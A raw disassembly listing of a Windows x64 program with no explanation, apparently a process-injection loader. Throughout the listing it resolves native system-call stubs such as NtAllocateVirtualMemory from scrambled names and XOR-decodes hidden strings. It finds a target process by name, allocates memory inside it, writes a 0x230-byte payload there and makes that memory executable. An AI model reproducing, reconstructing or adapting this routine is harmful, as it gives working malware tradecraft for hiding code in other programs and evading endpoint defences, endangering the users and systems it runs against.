lea rax, [rbp + 0x4a60]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4a8f]
mov rcx, rax
call fcn.14006fae0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4a90]
mov rcx, rax
call fcn.1400a7420
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x4a90]
mov rcx, qword [rbp + 0x52f0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400015ca
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x4a90]
mov rcx, rax
call fcn.1400a7ee0
cmp dword [rbp + 0x529c], 0
je 0x1400085a2
lea rbx, [0x14010858b]
jmp 0x1400085a9
lea rbx, [0x140108590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140032770
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.140001540
lea rax, [rbp + 0x4cff]
mov rcx, rax
call fcn.14006fab0
lea rdx, [rbp + 0x4cff]
lea rax, [rbp + 0x4cd0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a7890
lea rax, [rbp + 0x4cb0]
lea rdx, [rbp + 0x4cd0]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4c90]
lea rdx, [rbp + 0x4cb0]
lea r8, [0x140108585]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4c70]
lea rdx, [rbp + 0x4c90]
lea r8, [0x140108579]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4c50]
lea rdx, [rbp + 0x4c70]
lea r8, [0x1401085d1]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4c30]
lea rdx, [rbp + 0x4c50]
lea r8, [0x14010857d]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4c10]
lea rdx, [rbp + 0x4c30]
lea r8, [0x14010857f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4bf0]
lea rdx, [rbp + 0x4c10]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4bd0]
lea rdx, [rbp + 0x4bf0]
lea r8, [0x1401085d7]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4bb0]
lea rdx, [rbp + 0x4bd0]
lea r8, [0x1401085c5]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4b90]
lea rdx, [rbp + 0x4bb0]
lea r8, [0x1401085cf]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4b70]
lea rdx, [rbp + 0x4b90]
lea r8, [0x1401085bf]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4b50]
lea rdx, [rbp + 0x4b70]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4b30]
lea rdx, [rbp + 0x4b50]
lea r8, [0x140108577]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4b10]
lea rdx, [rbp + 0x4b30]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4af0]
lea rdx, [rbp + 0x4b10]
lea r8, [0x14010857f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4ad0]
lea rdx, [rbp + 0x4af0]
lea r8, [0x140108575]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4ab0]
lea rdx, [rbp + 0x4ad0]
lea r8, [0x1401085c1]
mov rcx, rax
call fcn.1400b7810
lea rdx, [rbp + 0x4ab0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400a7f20
lea rax, [rbp + 0x4ab0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4ad0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4af0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4b10]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4b30]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4b50]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4b70]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4b90]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4bb0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4bd0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4bf0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4c10]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4c30]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4c50]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4c70]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4c90]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4cb0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4cd0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4cff]
mov rcx, rax
call fcn.14006fae0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4d00]
mov rcx, rax
call fcn.1400a7420
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x4d00]
mov rcx, qword [rbp + 0x52e8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400015ca
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x4d00]
mov rcx, rax
call fcn.1400a7ee0
cmp dword [rbp + 0x529c], 0
je 0x140008992
lea rbx, [0x14010858b]
jmp 0x140008999
lea rbx, [0x140108590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140032770
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.140001540
lea rax, [rbp + 0x4f8f]
mov rcx, rax
call fcn.14006fab0
lea rdx, [rbp + 0x4f8f]
lea rax, [rbp + 0x4f60]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a7890
lea rax, [rbp + 0x4f40]
lea rdx, [rbp + 0x4f60]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4f20]
lea rdx, [rbp + 0x4f40]
lea r8, [0x1401085bd]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4f00]
lea rdx, [rbp + 0x4f20]
lea r8, [0x140108581]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4ee0]
lea rdx, [rbp + 0x4f00]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4ec0]
lea rdx, [rbp + 0x4ee0]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4ea0]
lea rdx, [rbp + 0x4ec0]
lea r8, [0x14010857d]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4e80]
lea rdx, [rbp + 0x4ea0]
lea r8, [0x14010857f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4e60]
lea rdx, [rbp + 0x4e80]
lea r8, [0x140108581]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4e40]
lea rdx, [rbp + 0x4e60]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4e20]
lea rdx, [rbp + 0x4e40]
lea r8, [0x140108583]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4e00]
lea rdx, [rbp + 0x4e20]
lea r8, [0x140108579]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4de0]
lea rdx, [rbp + 0x4e00]
lea r8, [0x140108573]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4dc0]
lea rdx, [rbp + 0x4de0]
lea r8, [0x140108585]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4da0]
lea rdx, [rbp + 0x4dc0]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4d80]
lea rdx, [rbp + 0x4da0]
lea r8, [0x140108587]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4d60]
lea rdx, [rbp + 0x4d80]
lea r8, [0x140108575]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4d40]
lea rdx, [rbp + 0x4d60]
lea r8, [0x140108581]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x4d20]
lea rdx, [rbp + 0x4d40]
lea r8, [0x140108589]
mov rcx, rax
call fcn.1400b7810
lea rdx, [rbp + 0x4d20]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400a7f20
lea rax, [rbp + 0x4d20]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4d40]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4d60]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4d80]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4da0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4dc0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4de0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4e00]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4e20]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4e40]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4e60]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4e80]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4ea0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4ec0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4ee0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4f00]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4f20]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4f40]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4f60]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x4f8f]
mov rcx, rax
call fcn.14006fae0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4f90]
mov rcx, rax
call fcn.1400a7420
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x4f90]
mov rcx, qword [rbp + 0x52e0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400015ca
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x4f90]
mov rcx, rax
call fcn.1400a7ee0
cmp dword [rbp + 0x529c], 0
je 0x140008dae
lea rbx, [0x14010858b]
jmp 0x140008db5
lea rbx, [0x140108590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140032770
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.140001540
lea rcx, str.__26__a
call fcn.140002ef5
mov qword [rbp + 0x2498], 0x230
mov rax, qword [0x140104420]
mov qword [rbp + 0x2490], rax
mov rax, qword [rbp + 0x2498]
mov rdx, rax
lea rcx, [0x140104440]
call fcn.140001b5f
mov dword [rbp + 0x2360], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x5290], rax
mov dword [rbp + 0x5388], 0
lea rax, [rbp + 0x2353]
lea rdx, [rbp + 0x4fbd]
mov rcx, rax
call fcn.14000309c
lea rdx, [rbp + 0x2360]
mov rax, qword [rbp + 0x5290]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
sete al
test al, al
je 0x1400090d5
lea rdx, [rbp + 0x2360]
mov rax, qword [rbp + 0x5290]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
sete al
test al, al
je 0x1400090d5
lea rax, [rbp + 0x2353]
mov qword [rbp + 0x5248], rax
mov rax, qword [rbp + 0x5248]
mov qword [rbp + 0x5240], rax
mov rax, qword [rbp + 0x5240]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x140008f61
mov rax, qword [rbp + 0x5248]
mov rdx, qword [rbp + 0x5248]
mov qword [rbp + 0x5238], rdx
mov qword [rbp + 0x5230], rax
mov dword [rbp + 0x522c], 0
cmp dword [rbp + 0x522c], 0xc
jg 0x140008f60
mov eax, dword [rbp + 0x522c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5230]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x522c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x39
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x39
xor ecx, eax
mov rdx, qword [rbp + 0x5238]
mov eax, dword [rbp + 0x522c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x522c], 1
jmp 0x140008ef3
nop
lea rax, [rbp + 0x2353]
lea rdx, [rbp + 0x2360]
lea rcx, [rdx + 0x2c]
mov rdx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
sete al
test al, al
je 0x140008e75
mov eax, dword [rbp + 0x2368]
mov dword [rbp + 0x5388], eax
lea rax, [rbp + 0x101]
lea rdx, [rbp + 0x4fbe]
mov rcx, rax
call fcn.140003116
lea rax, [rbp + 0x101]
mov qword [rbp + 0x5220], rax
mov rax, qword [rbp + 0x5220]
movzx eax, byte [rax + 0xe]
test al, al
setne al
test al, al
je 0x140009064
lea rax, [rbp + 0x101]
lea rdx, [rbp + 0x101]
mov qword [rbp + 0x5218], rdx
mov qword [rbp + 0x5210], rax
mov dword [rbp + 0x520c], 0
cmp dword [rbp + 0x520c], 0xe
jg 0x140009063
mov eax, dword [rbp + 0x520c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5210]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x520c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x39
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x39
xor ecx, eax
mov rdx, qword [rbp + 0x5218]
mov eax, dword [rbp + 0x520c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x520c], 1
jmp 0x140008ff6
nop
lea rax, [rbp + 0x101]
mov rdx, qword [rbp + 0x2353]
mov qword [rbp - 0x40], rdx
mov edx, dword [rbp + 0x235b]
mov dword [rbp - 0x38], edx
movzx edx, byte [rbp + 0x235f]
mov byte [rbp - 0x34], dl
mov ecx, dword [rbp + 0x5388]
lea rdx, [rbp - 0x40]
mov r9d, ecx
mov r8, rdx
mov rdx, rax
lea rcx, [0x1401085d9]
call fcn.140001540
mov dword [rbp + 0x5208], 0
cmp dword [rbp + 0x5208], 0xe
jg 0x1400090d4
mov eax, dword [rbp + 0x5208]
cdqe
mov byte [rbp + rax + 0x101], 0
add dword [rbp + 0x5208], 1
jmp 0x1400090b2
nop
mov rax, qword [rbp + 0x5290]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
cmp dword [rbp + 0x5388], 0
jne 0x14000922a
lea rax, [rbp - 0x10]
lea rdx, [rbp + 0x4fbf]
mov rcx, rax
call fcn.1400031a0
lea rax, [rbp - 0x10]
mov qword [rbp + 0x5200], rax
mov rax, qword [rbp + 0x5200]
movzx eax, byte [rax + 0x43]
test al, al
setne al
test al, al
je 0x1400091b9
lea rax, [rbp - 0x10]
lea rdx, [rbp - 0x10]
mov qword [rbp + 0x51f8], rdx
mov qword [rbp + 0x51f0], rax
mov dword [rbp + 0x51ec], 0
cmp dword [rbp + 0x51ec], 0x43
jg 0x1400091b8
mov eax, dword [rbp + 0x51ec]
movsxd rdx, eax
mov rax, qword [rbp + 0x51f0]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x51ec]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x39
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x39
xor ecx, eax
mov rdx, qword [rbp + 0x51f8]
mov eax, dword [rbp + 0x51ec]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x51ec], 1
jmp 0x14000914b
nop
lea rax, [rbp - 0x10]
mov rdx, qword [rbp + 0x2353]
mov qword [rbp - 0x40], rdx
mov edx, dword [rbp + 0x235b]
mov dword [rbp - 0x38], edx
movzx edx, byte [rbp + 0x235f]
mov byte [rbp - 0x34], dl
lea rdx, [rbp - 0x40]
mov r8, rdx
mov rdx, rax
lea rcx, str._s_s
call fcn.140001540
mov dword [rbp + 0x51e8], 0
cmp dword [rbp + 0x51e8], 0x43
jg 0x14000921a
mov eax, dword [rbp + 0x51e8]
cdqe
mov byte [rbp + rax - 0x10], 0
add dword [rbp + 0x51e8], 1
jmp 0x1400091fb
nop
mov esi, 1
mov ebx, 0
jmp 0x14000a7f0
mov qword [rbp + 0x2348], 0
mov qword [rbp + 0x2338], 0
mov eax, dword [rbp + 0x2368]
mov ecx, eax
call fcn.140001591
mov qword [rbp + 0x2330], rax
mov dword [rbp + 0x2300], 0x30
mov qword [rbp + 0x2308], 0
mov dword [rbp + 0x2318], 0
mov qword [rbp + 0x2310], 0
mov qword [rbp + 0x2320], 0
mov qword [rbp + 0x2328], 0
mov r10, qword [0x140134090]
lea rcx, [rbp + 0x2330]
lea rdx, [rbp + 0x2300]
lea rax, [rbp + 0x2348]
mov r9, rcx
mov r8, rdx
mov edx, 0x478
mov rcx, rax
call r10
lea rax, [rbp + 0x22f4]
lea rdx, [rbp + 0x4fc0]
mov rcx, rax
call fcn.1400033d2
lea rax, [rbp + 0x22e0]
lea rdx, [rbp + 0x4fc1]
mov rcx, rax
call fcn.140003444
mov qword [rbp + 0x5288], 0
mov qword [rbp + 0x22d8], 0
mov dword [rbp + 0x22cc], 0
mov qword [rbp + 0x5280], 0xe
mov r10, qword [0x140134048]
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp + 0x2498]
lea rdx, [rbp + 0x22d8]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x22a0]
lea rdx, [rbp + 0x4fc2]
mov rcx, rax
call fcn.1400034d6
lea rax, [rbp + 0x22a0]
mov qword [rbp + 0x51e0], rax
mov rax, qword [rbp + 0x51e0]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x140009429
lea rax, [rbp + 0x22a0]
lea rdx, [rbp + 0x22a0]
mov qword [rbp + 0x51d8], rdx
mov qword [rbp + 0x51d0], rax
mov dword [rbp + 0x51cc], 0
cmp dword [rbp + 0x51cc], 0x27
jg 0x140009428
mov eax, dword [rbp + 0x51cc]
movsxd rdx, eax
mov rax, qword [rbp + 0x51d0]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x51cc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x39
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x39
xor ecx, eax
mov rdx, qword [rbp + 0x51d8]
mov eax, dword [rbp + 0x51cc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x51cc], 1
jmp 0x1400093bb
nop
lea rax, [rbp + 0x22a0]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rcx, [0x1401080e1]
call fcn.140001540
mov dword [rbp + 0x51c8], 0
cmp dword [rbp + 0x51c8], 0x27
jg 0x140009474
mov eax, dword [rbp + 0x51c8]
cdqe
mov byte [rbp + rax + 0x22a0], 0
add dword [rbp + 0x51c8], 1
jmp 0x140009452
nop
lea rax, [rbp + 0x2292]
lea rdx, [rbp + 0x4fc3]
mov rcx, rax
call fcn.140003628
mov r8, qword [rbp + 0x22d8]
lea rax, [rbp + 0x2292]
mov qword [rbp + 0x51c0], rax
mov rax, qword [rbp + 0x51c0]
movzx eax, byte [rax + 0xd]
test al, al
setne al
test al, al
je 0x14000954c
lea rax, [rbp + 0x2292]
lea rdx, [rbp + 0x2292]
mov qword [rbp + 0x51b8], rdx
mov qword [rbp + 0x51b0], rax
mov dword [rbp + 0x51ac], 0
cmp dword [rbp + 0x51ac], 0xd
jg 0x14000954b
mov eax, dword [rbp + 0x51ac]
movsxd rdx, eax
mov rax, qword [rbp + 0x51b0]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x51ac]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r9d, eax
sar r9d, 0x1f
sub edx, r9d
imul r9d, edx, 0x39
sub eax, r9d
mov edx, eax
mov eax, edx
add eax, 0x39
xor ecx, eax
mov rdx, qword [rbp + 0x51b8]
mov eax, dword [rbp + 0x51ac]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x51ac], 1
jmp 0x1400094de
nop
lea rax, [rbp + 0x2292]
mov rdx, rax
lea rcx, str._s_p_n
call fcn.140001540
mov dword [rbp + 0x51a8], 0
cmp dword [rbp + 0x51a8], 0xd
jg 0x14000958e
mov eax, dword [rbp + 0x51a8]
cdqe
mov byte [rbp + rax + 0x2292], 0
add dword [rbp + 0x51a8], 1
jmp 0x14000956c
nop
mov r10, qword [0x140134050]
mov r9, qword [rbp + 0x2498]
mov r8, qword [0x1401340e0]
mov rdx, qword [rbp + 0x22d8]
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp + 0x22d0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x2260]
lea rdx, [rbp + 0x4fc4]
mov rcx, rax
call fcn.1400036aa
lea rax, [rbp + 0x2260]
mov qword [rbp + 0x51a0], rax
mov rax, qword [rbp + 0x51a0]
movzx eax, byte [rax + 0x22]
test al, al
setne al
test al, al
je 0x14000969a
lea rax, [rbp + 0x2260]
lea rdx, [rbp + 0x2260]
mov qword [rbp + 0x5198], rdx
mov qword [rbp + 0x5190], rax
mov dword [rbp + 0x518c], 0
cmp dword [rbp + 0x518c], 0x22
jg 0x140009699
mov eax, dword [rbp + 0x518c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5190]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x518c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x39
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x39
xor ecx, eax
mov rdx, qword [rbp + 0x5198]
mov eax, dword [rbp + 0x518c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x518c], 1
jmp 0x14000962c
nop
lea rax, [rbp + 0x2260]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rcx, [0x1401080e1]
call fcn.140001540
mov dword [rbp + 0x5188], 0
cmp dword [rbp + 0x5188], 0x22
jg 0x1400096e5
mov eax, dword [rbp + 0x5188]
cdqe
mov byte [rbp + rax + 0x2260], 0
add dword [rbp + 0x5188], 1
jmp 0x1400096c3
nop
mov r10, qword [0x140134058]
mov rax, qword [rbp + 0x2348]
lea r8, [rbp + 0x2498]
lea rdx, [rbp + 0x22d8]
lea rcx, [rbp + 0x22cc]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x2230]
lea rdx, [rbp + 0x4fc5]
mov rcx, rax
call fcn.1400037d4
lea rax, [rbp + 0x2230]
mov qword [rbp + 0x5180], rax
mov rax, qword [rbp + 0x5180]
movzx eax, byte [rax + 0x22]
test al, al
setne al
test al, al
je 0x1400097f0
lea rax, [rbp + 0x2230]
lea rdx, [rbp + 0x2230]
mov qword [rbp + 0x5178], rdx
mov qword [rbp + 0x5170], rax
mov dword [rbp + 0x516c], 0
cmp dword [rbp + 0x516c], 0x22
jg 0x1400097ef
mov eax, dword [rbp + 0x516c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5170]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x516c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x39
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x39
xor ecx, eax
mov rdx, qword [rbp + 0x5178]
mov eax, dword [rbp + 0x516c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x516c], 1
jmp 0x140009782
nop
lea rax, [rbp + 0x2230]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rcx, [0x1401080e1]
call fcn.140001540
mov dword [rbp + 0x5168], 0
cmp dword [rbp + 0x5168], 0x22
jg 0x14000983b
mov eax, dword [rbp + 0x5168]
cdqe
mov byte [rbp + rax + 0x2230], 0
add dword [rbp + 0x5168], 1
jmp 0x140009819
nop
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call fcn.140002d31
mov rdx, qword [rbp + 0x22d8]
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call fcn.140002913
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov r10, qword [0x1401340d0]
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp + 0x2498]
lea rdx, [rbp + 0x22d8]
mov r9d, 0x8000
mov r8, rcx
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x2200]
lea rdx, [rbp + 0x4fc6]
mov rcx, rax
call fcn.1400038fe
lea rax, [rbp + 0x2200]
mov qword [rbp + 0x5160], rax
mov rax, qword [rbp + 0x5160]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x140009970
lea rax, [rbp + 0x2200]
lea rdx, [rbp + 0x2200]
mov qword [rbp + 0x5158], rdx
mov qword [rbp + 0x5150], rax
mov dword [rbp + 0x514c], 0
cmp dword [rbp + 0x514c], 0x27
jg 0x14000996f
mov eax, dword [rbp + 0x514c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5150]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x514c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x39
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x39
xor ecx, eax
mov rdx, qword [rbp + 0x5158]
mov eax, dword [rbp + 0x514c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x514c], 1
jmp 0x140009902
nop
lea rax, [rbp + 0x2200]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rcx, [0x1401080e1]
call fcn.140001540
mov dword [rbp + 0x5120], 0
cmp dword [rbp + 0x5120], 0x27
jg 0x1400099bb
mov eax, dword [rbp + 0x5120]
cdqe
mov byte [rbp + rax + 0x2200], 0
add dword [rbp + 0x5120], 1
jmp 0x140009999
nop
lea rax, [rbp + 0x22f4]
mov qword [rbp + 0x5140], rax
mov rax, qword [rbp + 0x5140]
mov qword [rbp + 0x5138], rax
mov rax, qword [rbp + 0x5138]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x140009a84
mov rax, qword [rbp + 0x5140]
mov rdx, qword [rbp + 0x5140]
mov qword [rbp + 0x5130], rdx
mov qword [rbp + 0x5128], rax
mov dword [rbp + 0x5124], 0
cmp dword [rbp + 0x5124], 0xb
jg 0x140009a83
mov eax, dword [rbp + 0x5124]
movsxd rdx, eax
mov rax, qword [rbp + 0x5128]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x5124]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x39
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x39
xor ecx, eax
mov rdx, qword [rbp + 0x5130]
mov eax, dword [rbp + 0x5124]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5124], 1
jmp 0x140009a16
nop
lea rax, [rbp + 0x22f4]
mov r8d, 1
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
call rax
mov qword [rbp + 0x5270], rax
